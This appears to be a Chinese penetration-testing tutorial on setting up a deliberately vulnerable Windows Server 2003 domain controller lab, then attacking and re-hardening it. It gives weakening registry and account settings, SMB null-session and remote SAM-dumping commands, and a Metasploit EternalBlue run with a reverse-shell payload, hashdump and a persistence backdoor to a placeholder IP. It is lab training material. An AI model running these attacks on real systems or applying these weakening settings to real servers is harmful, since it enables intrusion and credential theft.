十年前我第一次接触内网渗透时,导师扔给我一台Windows Server 2003服务器说:"把它变成域控,然后攻破它"。这个看似简单的任务让我折腾了整整三天——不是配置出错就是漏洞利用失败。如今虽然有了更新的系统,但2003作为内网渗透的经典训练平台依然不可替代。它就像武术中的木人桩,能让你掌握最本质的攻防原理。
这个靶机环境特别适合以下场景:
关键提示:本文配置的靶机将开放大量"故意漏洞",仅限实验环境使用。实际生产环境中必须避免这些配置!
选择VMware Workstation 16 Pro作为虚拟化平台(兼容性最好),具体配置参数需要特别注意:
| 组件 | 推荐配置 | 技术依据 |
|---|---|---|
| 内存 | 1.5GB | 域控制器运行ADDS服务至少需要1GB,预留0.5GB缓冲 |
| 硬盘 | 20GB IDE | IDE控制器免驱动,避免SCSI需要额外加载驱动 |
| 网卡 | VMnet1仅主机模式 | 与攻击机隔离形成封闭实验环境 |
| CPU | 单核2.4GHz+ | 2003不支持多核优化,高频单核更高效 |
我曾在实验中尝试给2003分配4GB内存,结果系统反而变得不稳定——这是32位系统的内存管理限制导致的。最佳实践是保持1-2GB区间。
镜像选择:
分区方案:
bash复制# 使用diskpart创建分区(安装界面按Shift+F10调出CMD)
diskpart
select disk 0
create partition primary size=20000
format quick fs=ntfs
active
exit
管理员密码设置:
Admin@123这类包含大小写+数字+特殊字符的组合powershell复制# 在PowerShell中需要用反引号转义
net user administrator "Admin`@123"
网络组件安装:
首次登录后:
slmgr -rearm延长试用期在"本地连接"属性中配置TCP/IP时,有几个隐藏要点:
DNS指向自己:
NetBIOS over TCP/IP:
禁用LMHOSTS查询:
reg复制[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]
"EnableLMHOSTS"=dword:00000000
运行dcpromo命令后的关键配置项:
域名设计:
数据库位置:
还原模式密码:
权限兼容性:
mermaid复制graph LR
A[权限选项] --> B[仅与2000兼容]
A --> C[与2000和2003兼容]
A --> D[仅与2003兼容]
选择"与Windows 2000服务器兼容"是为了:
| 服务 | 配置方法 | 渗透利用价值 |
|---|---|---|
| Telnet | 安装后修改注册表允许空密码:HKLM\SOFTWARE\Microsoft\TelnetServer\1.0\AllowGuestAccess=1 |
直接获取交互式shell |
| IIS 6.0 | 启用WebDAV并配置写权限 | 利用PUT方法上传webshell |
| SMB | 修改注册表启用SMB1:HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1=1 |
永恒之蓝漏洞利用 |
| RDP | 组策略启用"限制连接数"设为999 | 暴力破解防护规避 |
Guest账户强化:
创建弱密码账户:
powershell复制net user hacker P@ssw0rd /add
net localgroup administrators hacker /add
密码策略破坏:
powershell复制secedit /configure /db C:\Windows\temp\sec.sdb /cfg C:\Windows\inf\defltbase.inf
reg复制Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"restrictanonymous"=dword:00000000
"limitblankpassworduse"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters]
"AutoShareWks"=dword:00000001
"NullSessionPipes"=hex(7):00,00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"LocalAccountTokenFilterPolicy"=dword:00000001
bash复制# ICMP测试
ping -c 4 192.168.10.10
# 端口扫描(经典老三样)
nmap -p 135,139,445 -sV -O 192.168.10.10
# SMB枚举
smbmap -H 192.168.10.10 -u '' -p ''
案例1:IPC$空连接利用
bash复制# 建立空会话
net use \\192.168.10.10\IPC$ "" /u:""
# 枚举共享
net view \\192.168.10.10
# 导出SAM数据库
reg save \\192.168.10.10\HKLM\SAM sam.save
reg save \\192.168.10.10\HKLM\SYSTEM system.save
案例2:MS17-010永恒之蓝
bash复制# 使用Metasploit框架
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.10.10
set payload windows/x64/meterpreter/reverse_tcp
exploit
获取meterpreter会话后:
bash复制# 转储哈希
hashdump
# 启用RDP
run post/windows/manage/enable_rdp
# 创建持久后门
persistence -U -i 60 -p 443 -r your_ip
| 故障现象 | 诊断方法 | 解决方案 |
|---|---|---|
| dcpromo失败 | 检查事件查看器-目录服务日志 | 确保DNS正向查找区域已创建 |
| SMB连接超时 | telnet 192.168.10.10 445测试端口 |
关闭防火墙或添加入站规则 |
| 域加入失败 | nltest /dsgetdc:hackepts.com |
验证DNS SRV记录是否存在 |
| IIS无法访问 | `netstat -ano | findstr 80` |
AD数据库维护:
powershell复制ntdsutil "ac i ntds" "files" "compact to C:\temp" q q
日志管理:
注册表优化:
reg复制[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"DisablePagingExecutive"=dword:00000001
完成渗透测试后,应当立即恢复安全配置:
立即操作项:
powershell复制# 关闭高危服务
Stop-Service -Name Telnet -Force
Set-Service -Name Telnet -StartupType Disabled
# 重置本地安全策略
secedit /configure /db C:\Windows\temp\sec.sdb /cfg C:\Windows\inf\defltbase.inf
长期加固方案:
监控措施:
powershell复制# 启用审核策略
auditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
经过多年实战,我发现Windows Server 2003域控环境就像一本活的安全教科书。每次重建这个靶机,都能发现新的攻击面和防御思路。建议每隔半年就重新搭建一次,对照最新的渗透技术进行验证。